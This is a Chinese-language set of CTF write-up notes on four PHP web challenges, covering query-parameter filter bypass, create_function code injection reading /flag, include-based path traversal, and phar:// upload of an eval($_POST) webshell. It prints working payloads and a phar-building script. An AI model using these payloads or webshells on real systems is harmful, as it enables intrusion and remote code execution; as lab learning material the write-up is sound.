今天待完成的任务


[NISACTF 2022]level-up

  • 知识点:creat function()绕过注入

  • level -4

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    <?php
    //here is last level
    error_reporting(0);
    include "str.php";
    show_source(__FILE__);

    $str = parse_url($_SERVER['REQUEST_URI']);
    if($str['query'] == ""){
    echo "give me a parameter";
    }
    if(preg_match('/ |_|20|5f|2e|\./',$str['query'])){
    die("blacklist here");
    }
    if($_GET['NI_SA_'] === "txw4ever"){
    die($level5);
    }
    else{
    die("level 4 failed ...");
    }

    ?>

    php的变量解析绕过, php会把请求参数中的非法字符转为下划线
    使用exp
    NI+SA+=txw4ever

  • last level

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    <?php
    //sorry , here is true last level
    //^_^
    error_reporting(0);
    include "str.php";

    $a = $_GET['a'];
    $b = $_GET['b'];
    if(preg_match('/^[a-z0-9_]*$/isD',$a)){
    show_source(__FILE__);
    }
    else{
    $a('',$b);
    }
  • 分析:

    关注$a('',$b);这里把$a赋值为create function即可

    create function()函数介绍

    1
    2
    3
    4
    creat_function(string $agrs,string $code)
    //string $agrs 声明的函数变量部分
    //string $code 执行的方法代码部分

    create_frunction()函数会创建一个匿名函数(为lambda样式),并会在内部执行eval()函数,在这里也就是执行后面的return语句,而这个位置正好是属于(string $code)的.

    因此此处$a('',$b);等价于create_frunction(‘’,$b)

  • EXP

    1
    a=\create_function&b=return 'mmkjhhsd';}var_dump(file_get_contents('/flag'));/*

    其实也就是相当于执行了:

    1
    2
    3
    4
    5
    function niming($a,$b){
    return 'mmkjhhsd';
    }
    var_dump(file_get_contents('/flag'));/*
    }

    即绕过creat function(),执行了var_dump(file_get_contents('/flag'));

  • create function()函数 —参考文章

    1. php代码审计]之create_function()函数
    2. php代码审计]之create_function()函数
    3. php代码审计]之create_function()函数

[HCTF 2018]Warmup

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
<?php
highlight_file(__FILE__);
class emmm
{
public static function checkFile(&$page)
{
$whitelist = ["source"=>"source.php","hint"=>"hint.php"];
if (! isset($page) || !is_string($page)) {
echo "you can't see it";
return false;
}

if (in_array($page, $whitelist)) {
return true;
}

$_page = mb_substr(
$page,
0,
mb_strpos($page . '?', '?')
);
if (in_array($_page, $whitelist)) {
return true;
}

$_page = urldecode($page);
$_page = mb_substr(
$_page,
0,
mb_strpos($_page . '?', '?')
);
if (in_array($_page, $whitelist)) {
return true;
}
echo "you can't see it";
return false;
}
}

if (! empty($_REQUEST['file'])
&& is_string($_REQUEST['file'])
&& emmm::checkFile($_REQUEST['file'])
) {
include $_REQUEST['file'];
exit;
} else {
echo "<br><img src=\"https://i.loli.net/2018/11/01/5bdb0d93dc794.jpg\" />";
}
?>

不认识的函数也太多了

函数 功能 参数
mb_strpos() 返回要查找的字符串在别一个字符串中首次出现的位置 mb_strpos (haystack ,needle )haystack:要被检查的字符串。needle:要搜索的字符串
mb_substr() 函数返回字符串的一部分。 str 必需。从该 string 中提取子字符串,start 必需。规定在字符串的何处开始。length 可选。规定要返回的字符串长度。默认是直到字符串的结尾。
in_array() 搜索数组中是否存在指定的值。 bool in_array ( mixed $needle , array $haystack [, bool $strict = FALSE ] ) needle 必需。规定要在数组搜索的值。haystack必需。规定要搜索的数组.strict可选。如果该参数设置为 TRUE,则 in_array() 函数检查搜索的数据与数组的值的类型是否相同。

大佬审计完的注释版:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
class emmm
2 {
3 public static function checkFile(&$page)
4
5 {
6 //白名单列表
7 $whitelist = ["source"=>"source.php","hint"=>"hint.php"];
8 //isset()判断变量是否声明is_string()判断变量是否是字符串 &&用了逻辑与两个值都为真才执行if里面的值
9 if (! isset($page) || !is_string($page)) {
10 echo "you can't see it A";
11 return false;
12 }
13 //检测传进来的值是否匹配白名单列表$whitelist 如果有则执行真
14 if (in_array($page, $whitelist)) {
15 return true;
16 }
17 //过滤问号的函数(如果$page的值有?则从?之前提取字符串)
18 $_page = mb_substr(
19 $page,
20 0,
21 mb_strpos($page . '?', '?')//返回$page.?里卖弄?号出现的第一个位置
22 );
23
24 //第二次检测传进来的值是否匹配白名单列表$whitelist 如果有则执行真
25 if (in_array($_page, $whitelist)) {
26 return true;
27 }
28 //url对$page解码
29 $_page = urldecode($page);
30
31 //第二次过滤问号的函数(如果$page的值有?则从?之前提取字符串)
32 $_page = mb_substr(
33 $_page,
34 0,
35 mb_strpos($_page . '?', '?')
36 );
37 //第三次检测传进来的值是否匹配白名单列表$whitelist 如果有则执行真
38 if (in_array($_page, $whitelist)) {
39 return true;
40 }
41 echo "you can't see it";
42 return false;
43 }
44 }

include()函数包含的一个神奇功能

以字符‘/’分隔(而且不计个数),若是在前面的字符串所代表的文件无法被PHP找到,则PHP会自动包含‘/’后面的文件——注意是最后一个‘/’。

此题正是利用这个点,实现既能绕过前面的白名单检测又能到最后包含正确的文件

详解:

xxxx?/../../../../ffffllllaaaagggg

这里第一个问号与第一个/作为include第一次尝试包含的文件名字hint.php?,明显这不是一个可包含的文件.因此include自动找到最后一个/(也是第一个)后面的作为包含文件名也即../../../../ffffllllaaaagggg

当然想测试一下这个特性还可以进一步.source.php?/我c牛魔CTF/../../../../ffffllllaaaagggg/../../../../ffffllllaaaagggg

最后一个/已经很明显能找出来了.当然前面都不用看了.直接在最后一个写入包含地址即可!

因此成功验证猜想!!!

Payload分析:

1
2
3
4
5
http://node4.anna.nssctf.cn:28786/source.php

?file=source.php

?/../../../../ffffllllaaaagggg

此处/../../../../ffffllllaaaagggg第一个/就是让include函数找不到source.php?/这个文件

[NISACTF 2022]bingdundun~

文件上传结合phar伪协议读取文件

打开题目,看到有个url传参.输入index试试.页面输出全是index.php

猜测题目后门自动补全php.然后进去文件上传界面,提示可以上传图片和压缩包这个就很敏感.此时应该想到phar伪协议可以直接读取zip包了

写好一句话🐎,文件zip压缩后上传.文件名(shell.php->shell.zip)

当然此处也可以直接上传phar包(区别类似jar包,也是类似于压缩包的东西吧.反正就是里面会包含php后门文件)

构造phar

直接套(参考各大网站

1
2
3
4
5
6
7
8
9
<?php
$payload = '<?php eval($_POST["shell"]); ?>' //一句话木马
$phar = new Phar("example.phar"); //后缀名必须为phar
$phar->startBuffering();
$phar->setStub("<?php __HALT_COMPILER(); ?>"); //设置stub
$phar->addFromString("67.php", "$payload"); //添加要压缩的文件
// $phar->setMetadata(...); //在metadata添加内容,可参考 phar反序列化,此处用不着,故注释
$phar->stopBuffering();
?>

phar包里就会自动包含67.php文件,再用phar协议读取即可!

phar:// 主要是用于在php中对压缩文件格式的读取。这种方式通常是用来配合文件上传漏洞使用,或者进行进阶的phar反序列化攻击

用phar://伪协议访问上传的文件

1
?bingdundun=phar://65498eab3d7f96de9c53fb2f02dac949.zip/shell

因为后面自动补全php,因此只要写shell即可

[NSSRound#1 Basic]basic_check

有点偏冷了

PUT请求文件上传

用curl或者nikto扫描就知道可以使用网站可以使用HTTP的哪些方法

命令:

1
2
curl -i -X OPTIONS "url"
nikto -h url

检测到可以使用PUT方法后上传后门文件,如图:

接着就是老套路了….